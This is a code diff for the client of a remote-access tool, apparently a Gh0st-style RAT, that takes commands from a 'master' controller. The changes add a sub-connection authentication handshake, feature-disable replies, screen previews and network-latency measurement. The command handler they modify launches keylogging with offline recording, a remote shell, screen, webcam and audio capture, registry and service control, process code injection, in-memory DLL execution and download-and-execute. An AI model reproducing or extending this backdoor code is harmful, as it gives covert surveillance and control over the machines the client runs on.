if (!PerformConnAuth(cid, CONN_AUTH_CLIENT_WAIT_MS)) {
Mprintf("[ConnAuth] 校验失败,断开连接\n");
Disconnect();
return FALSE;
}
}
return TRUE;
}
@@ -497,12 +627,12 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
FlagType flagType = CheckHead(szPacketFlag, encType);
if (flagType == FLAG_UNKNOWN) {
// 打印诊断信息
std::string buf;
ULONG bufLen = m_CompressedBuffer->GetBufferLength();
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: ", bufLen);
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
Mprintf("%02X ", (unsigned char)src[i]);
char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
}
Mprintf("\n");
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: %s\n", bufLen, buf.c_str());
m_CompressedBuffer->ClearBuffer();
break;
}
@@ -549,11 +679,24 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (Z_SUCCESS(iRet)) { //如果解压成功
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
if (ret) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
// 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
// 不在等待状态时返回 false包透传给 managermanager 一般也不识别此 token
// 走 default 路径忽略,无副作用)。
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
// 防御 race window子连接 ConnectServer 触发 Receive 后,
// 调用方 setManagerCallBack() 可能还没执行;丢弃这种早期包
// 比让函数指针炸进 0xcdcdcd 强pre-existing race详见
// 构造函数注释,长期需要在 ConnectServer 前 set callback
if (m_DataProcess == NULL) {
Mprintf("[WARN] dropping early packet: setManagerCallBack not yet called\n");
} else {
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
if (ret) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
}
}
}
} else {
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);

View File

@@ -32,6 +32,8 @@
#endif
#include "IOCPBase.h"
#include <mutex>
#include <condition_variable>
#include <chrono>
#define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
@@ -259,6 +261,31 @@ public:
m_LoginMsg = msg;
m_LoginSignature = hmac;
}
// 子连接身份校验:发 TOKEN_CONN_AUTH 包,等服务端 ConnAuthAck 响应。
// 返回 true 表示通过false 表示超时/失败/网络错误。
// 主连接不调用此方法。新客户端必须调用并校验成功后才能继续后续命令。
// 已实现的协议扩展(如 KeyBoard 子连接的 cap word保留不变与本机制并行工作。
bool PerformConnAuth(uint64_t clientID, int timeoutMs);
// 让 ConnectServer 在每次成功后自动调一次 PerformConnAuthopt-in
// 子连接构造后调用此方法启用。
// - clientID == 0每次 auth 时从 m_conn->clientID 现取Windows 客户端走此路径)。
// 这样即便 IOCPClient 创建时主连接还没拿到 ID真正连上时也能用到最新值。
// - clientID != 0显式指定Linux/macOS 客户端 IOCPClient 不带 m_conn 时用此参数)。
void EnableSubConnAuth(bool enabled = true, uint64_t clientID = 0) {
m_subConnAuthEnabled = enabled;
m_subConnAuthClientID = clientID;
}
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
// 仅在我们正在等待 auth 响应时m_authPending=true才消费否则透传给 manager。
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
// 主动断开当前连接,关闭 socket。提到 public 让外层(如 Linux/macOS main 的心跳
// 循环检测到服务端身份校验超时)能在重连前显式关闭旧 fd避免泄漏。
virtual VOID Disconnect(); // 函数支持 TCP/UDP
protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags)
{
@@ -266,7 +293,6 @@ protected:
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
}
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
virtual VOID Disconnect(); // 函数支持 TCP/UDP
virtual int SendTo(const char* buf, int len, int flags)
{
return ::send(m_sClientSocket, buf, len, flags);
@@ -285,6 +311,16 @@ protected:
BOOL m_bConnected;
std::mutex m_Locker;
// 子连接身份校验同步状态。仅在 PerformConnAuth 调用期间生效。
std::mutex m_authMtx;
std::condition_variable m_authCv;
int m_authStatus = -1; // -1 = 未启动;其它 = ConnAuthStatus
bool m_authPending = false; // true 时 TryHandleAuthResponse 才消费 ack
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
bool m_subConnAuthEnabled = false;
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
#if USING_CTX
ZSTD_CCtx* m_Cctx; // 压缩上下文
ZSTD_DCtx* m_Dctx; // 解压上下文
@@ -306,6 +342,7 @@ protected:
void *m_main = NULL;
public:
BOOL m_isAuth = FALSE;
std::string m_LoginMsg; // 登录消息摘要
std::string m_LoginSignature; // 登录消息签名
};

View File

@@ -39,11 +39,18 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
// 创建工作线程(如果需要)
if (m_hWorkThread == NULL) {
#ifdef _WIN32
m_bIsRunning = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
m_bIsRunning = m_hWorkThread ? TRUE : FALSE;
#else
pthread_t id = 0;
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
int ret = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
if (ret == 0) {
m_bWorkThread = S_RUN;
m_bIsRunning = TRUE;
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
}
#endif
}

View File

@@ -18,6 +18,7 @@
#include "auto_start.h"
#include "ShellcodeInj.h"
#include "KeyboardManager.h"
#include "ScreenPreview.h"
#include "common/file_upload.h"
#include "common/DateVerify.h"
#include "common/LANChecker.h"
@@ -49,11 +50,14 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string&
return NULL;
}
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP)
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP, BOOL isAuth)
{
ThreadInfo *tKeyboard = new ThreadInfo();
tKeyboard->run = FOREVER_RUN;
tKeyboard->p = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
sub->m_isAuth = isAuth;
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
tKeyboard->p = sub;
tKeyboard->conn = conn;
tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL);
return tKeyboard;
@@ -77,11 +81,6 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
m_hKeyboard = kb;
// C2C 初始化
if (conn) m_MyClientID = conn->clientID;
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
static int n = RestoreMemDLL();
if (n) {
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
}
}
BOOL IsThreadsRunning(ThreadInfo* threads, int count)
@@ -272,14 +271,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0;
uint64_t start = time(0);
if (proc) {
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
}
else {
else if (This){
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r) {
if (This && (r || (time(0)-start < 15))) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
@@ -295,14 +295,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0;
uint64_t start = time(0);
if (proc) {
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
}
else {
else if (This){
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r) {
if (This && (r || (time(0)-start < 15))) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
@@ -326,7 +327,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed");
Mprintf("%s\n", buf);
ClientMsg msg("代码注入", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
if (This)This->SendData((LPBYTE)&msg, sizeof(msg));
}
SAFE_DELETE(dll);
SAFE_DELETE(runner);
@@ -612,14 +613,18 @@ void DownExecute(const std::string &strUrl, CManager *This)
}
#include "common/location.h"
std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash)
std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHash)
{
iniFile reg;
pwdHash = reg.GetStr("settings", "UpperHash", masterHash);
config* m_iniFile = nullptr;
#ifdef _DEBUG
m_iniFile = pwdHash == masterHash ? new config : new iniFile;
#else
m_iniFile = new iniFile;
#endif
pwdHash = m_iniFile->GetStr("settings", "UpperHash", masterHash);
int bindType = m_iniFile->GetInt("settings", "BindType", 0);
int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0);
std::string master = m_iniFile->GetStr("settings", "master");
@@ -639,8 +644,9 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
return "";
}
int CKernelManager::RestoreMemDLL() {
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile *m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This) {
binFile bin(CLIENT_PATH);
std::map<std::string, std::vector<BYTE>> m_MemDLL;
// 枚举所有以 .md5 结尾的值名称
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
@@ -698,7 +704,7 @@ int CKernelManager::RestoreMemDLL() {
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
BYTE* data = m_MemDLL[md5].data();
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, This), 0, NULL));
// 更新注册表中的运行时状态
// 如果有时间间隔限制,更新 LastRunTime
@@ -718,7 +724,7 @@ int CKernelManager::RestoreMemDLL() {
}
}
return count;
return m_MemDLL;
}
template<typename T = DllExecuteInfo>
@@ -777,6 +783,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
return data != NULL;
}
// 给主控回复功能禁用消息
// TODO: 主控收到此消息后,可以选择以插件形式执行该禁用的功能
void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size) {
char buf[512];
sprintf_s(buf, "%s disabled[IP: %s][ID: %s]", type, client->GetPublicIP().c_str(), client->GetClientID().c_str());
Mprintf("%s\n", buf);
int n = strlen(buf);
memcpy(buf + n + 1, data, min(size, 500-n));
ClientMsg msg(DISABLED_FEATURE, buf, sizeof(buf));
client->Send2Server((char*)&msg, sizeof(msg));
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -877,18 +895,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
// 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization约 150 字节)
char buf[400] = {}, *passCode = buf + 5;
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
std::string masterHash(skCrypt(MASTER_HASH));
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
if (passCode[0] == 0) {
std::string pwdHash, masterHash(skCrypt(MASTER_HASH));
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
static std::string hashedID = hashSHA256(hardwareId);
static std::string devId = getFixedLengthID(hashedID);
memcpy(buf + 24, buf + 12, 8); // 消息签名
memcpy(buf + 96, buf + 8, 4); // 时间戳
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
memcpy(buf + 32, pwdHash, 64); // 64字节
memcpy(buf + 32, pwdHash.c_str(), 64); // 64字节
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
Mprintf("Request for authorization update.\n");
Mprintf("Request for authorization update. SN: %s, PwdHash: %s\n", devId.c_str(), pwdHash.c_str());
} else {
unsigned short* days = (unsigned short*)(buf + 1);
unsigned short* num = (unsigned short*)(buf + 3);
@@ -932,6 +949,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
case TOKEN_PRIVATESCREEN: {
if (!ENABLE_SCREEN) {
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
}
char h[100] = {};
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
std::string hash = std::string(h, h + 64);
@@ -954,7 +974,14 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
if (!ENABLE_PROXY) {
return ResponseDisable(m_ClientObject, "PROXY", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -1040,7 +1067,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
if (m_settings.EnableKBLogger && m_hKeyboard) {
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
mgr->m_bIsOfflineRecord = TRUE;
mgr->EnableOfflineRecord(TRUE);
}
Logger::getInstance().usingLog(m_settings.EnableLog);
}
@@ -1055,36 +1082,67 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
break;
case COMMAND_KEYBOARD: { //键盘记录
if (!ENABLE_KEYBOARD) {
return ResponseDisable(m_ClientObject, "KEYBOARD", szBuffer + 1, ulLength - 1);
}
if (m_hKeyboard) {
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
} else {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
}
break;
}
case COMMAND_TALK: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
if (!ENABLE_MESSAGE) {
return ResponseDisable(m_ClientObject, "MESSAGE", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHELL: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SYSTEM: { //远程进程管理
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
if (!ENABLE_PROC_WND) {
return ResponseDisable(m_ClientObject, "PROCESS", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_WSLIST: { //远程窗口管理
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
if (!ENABLE_PROC_WND) {
return ResponseDisable(m_ClientObject, "WINDOW", szBuffer + 1, ulLength - 1);
}
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -1113,46 +1171,125 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_SCREEN_PREVIEW_REQ: {
if (ulLength < sizeof(ScreenPreviewReq)) break;
ScreenPreviewReq req;
memcpy(&req, szBuffer, sizeof(req));
// 限流:同一时刻最多 1 个抓屏任务在跑,防御服务端洪泛或异常重发把客户端打爆
static std::atomic<int> s_inFlight{0};
if (s_inFlight.fetch_add(1) >= 1) {
s_inFlight.fetch_sub(1);
break; // 直接丢弃,让服务端 4s 超时降级为"预览不可用"
}
// 投递到工作线程,避免阻塞 OnReceive抓屏 + 编码可能耗几十毫秒
std::thread([this, req]() {
struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard;
std::vector<unsigned char> jpg;
int w = 0, h = 0;
int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h);
std::vector<BYTE> pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0));
ScreenPreviewRspHeader* hdr = reinterpret_cast<ScreenPreviewRspHeader*>(pkt.data());
memset(hdr, 0, sizeof(*hdr));
hdr->token = TOKEN_SCREEN_PREVIEW_RSP;
hdr->reqId = req.reqId;
hdr->status = (uint8_t)st;
hdr->format = SCREEN_PREVIEW_FMT_JPEG;
hdr->width = (uint16_t)w;
hdr->height = (uint16_t)h;
hdr->bytes = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0);
if (st == SCREEN_PREVIEW_OK && !jpg.empty()) {
memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size());
}
if (m_ClientObject && m_ClientObject->IsConnected()) {
m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size());
}
}).detach();
break;
}
case COMMAND_SCREEN_SPY: {
if (!ENABLE_SCREEN) {
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
}
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
}
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = user;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_LIST_DRIVE : {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
if (!ENABLE_FILE_MNG) {
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_WEBCAM: {
if (!ENABLE_VIDEO_MNG) {
return ResponseDisable(m_ClientObject, "CAMERA", szBuffer + 1, ulLength - 1);
}
static bool hasCamera = WebCamIsExist();
if (!hasCamera) break;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_AUDIO: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
if (!ENABLE_AUDIO_MNG) {
return ResponseDisable(m_ClientObject, "AUDIO", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_REGEDIT: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
if (!ENABLE_REGISTRY) {
return ResponseDisable(m_ClientObject, "REGISTRY", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SERVICES: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
if (!ENABLE_SERVICE_MNG) {
return ResponseDisable(m_ClientObject, "SERVICE", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
@@ -1270,6 +1407,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
opts.enableResume = queryPending; // 只有发送了查询才等待响应
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
std::thread([files, targetDir, pClient, opts, hash, hmac]() {
FileBatchTransferWorkerV2(files, targetDir, pClient,
@@ -1491,9 +1629,23 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength > 8) {
uint64_t n = 0;
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
m_nNetPing.update_from_sample(GetUnixMs() - n);
HeartbeatACK n = { 0 };
const int size = sizeof(HeartbeatACK);
memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize);
int64_t total_rtt_ms = (int64_t)GetUnixMs() - (int64_t)n.Time;
int64_t rtt_ms = total_rtt_ms;
if (n.ProcessingMs > 0 && (int64_t)n.ProcessingMs < total_rtt_ms)
rtt_ms = total_rtt_ms - (int64_t)n.ProcessingMs;
m_nNetPing.update_from_sample((double)rtt_ms);
// 试用版反代理RTT 入采样窗口。
// 启停由下方根据 m_settings 控制;非试用模式下 RecordSample 内部直接 return。
if (rtt_ms > 0 && rtt_ms < INT_MAX)
LANRttChecker::RecordSample((int)rtt_ms);
// m_settings.Authorized / IsTrail 由 CMD_MASTERSETTING 同步而来。
// 首次心跳早于 MasterSettings 到达时,两字段均为 0 → 保留默认(关闭),安全。
if (!m_settings.Authorized) return;
// 试用主控 → 打开 RTT 反代理检测;已授权 → 关闭,避免误报合法远程连接
LANRttChecker::SetEnabled(m_settings.IsTrail != 0);
}
}
@@ -1556,7 +1708,16 @@ void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
HeartbeatACK n = { 0 };
const int size = sizeof(HeartbeatACK);
memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize);
m_nNetPing.update_from_sample(GetUnixMs() - n.Time);
// 总 RTT = ACK 到达时间 客户端发出时间(含网络 + 服务端处理)。
// 服务端从 v1.3.4 起在 ACK 里回报自己的处理耗时 ProcessingMs毫秒
// - 新服务端ProcessingMs > 0 → 减掉得近似纯网络 RTT
// - 旧服务端ProcessingMs == 0 → 维持旧行为,用总 RTT
// 避免 V2 签名 / HMAC / Debug 加密放大等服务端本底误算到网络 RTT。
int64_t total_rtt_ms = (int64_t)GetUnixMs() - (int64_t)n.Time;
int64_t net_rtt_ms = total_rtt_ms;
if (n.ProcessingMs > 0 && (int64_t)n.ProcessingMs < total_rtt_ms)
net_rtt_ms = total_rtt_ms - (int64_t)n.ProcessingMs;
m_nNetPing.update_from_sample((double)net_rtt_ms);
// Not authorized, but server is reachable, so just return and wait for next heartbeat
if (n.Authorized == UNAUTHORIZED) return;

View File

@@ -25,7 +25,7 @@
// 根据配置决定采用什么通讯协议
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, BOOL isAuth = FALSE);
class ActivityWindow
{
@@ -63,9 +63,34 @@ private:
if (hForegroundWindow == NULL)
return "No active window";
char windowTitle[256];
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
return std::string(windowTitle);
// 用 W 接口取标题,再转 UTF-8避免依赖客户端系统 ANSI 代码页
wchar_t wTitle[256] = { 0 };
GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
if (wTitle[0] == L'\0')
return std::string();
int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
if (u8len <= 1)
return std::string();
// 协议字段 ActiveWnd[512]UTF-8 中文最多 3 字节/字符,必要时按完整码点截断
std::string out(u8len - 1, '\0');
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
if (out.size() >= 511) {
out.resize(511);
// 回退到上一个完整 UTF-8 码点起始
while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
out.pop_back();
if (!out.empty()) {
unsigned char lead = static_cast<unsigned char>(out.back());
int need = (lead & 0x80) == 0 ? 1
: (lead & 0xE0) == 0xC0 ? 2
: (lead & 0xF0) == 0xE0 ? 3
: (lead & 0xF8) == 0xF0 ? 4 : 0;
if (need == 0) out.pop_back();
}
}
return out;
}
DWORD GetLastInputTime()
@@ -159,7 +184,6 @@ public:
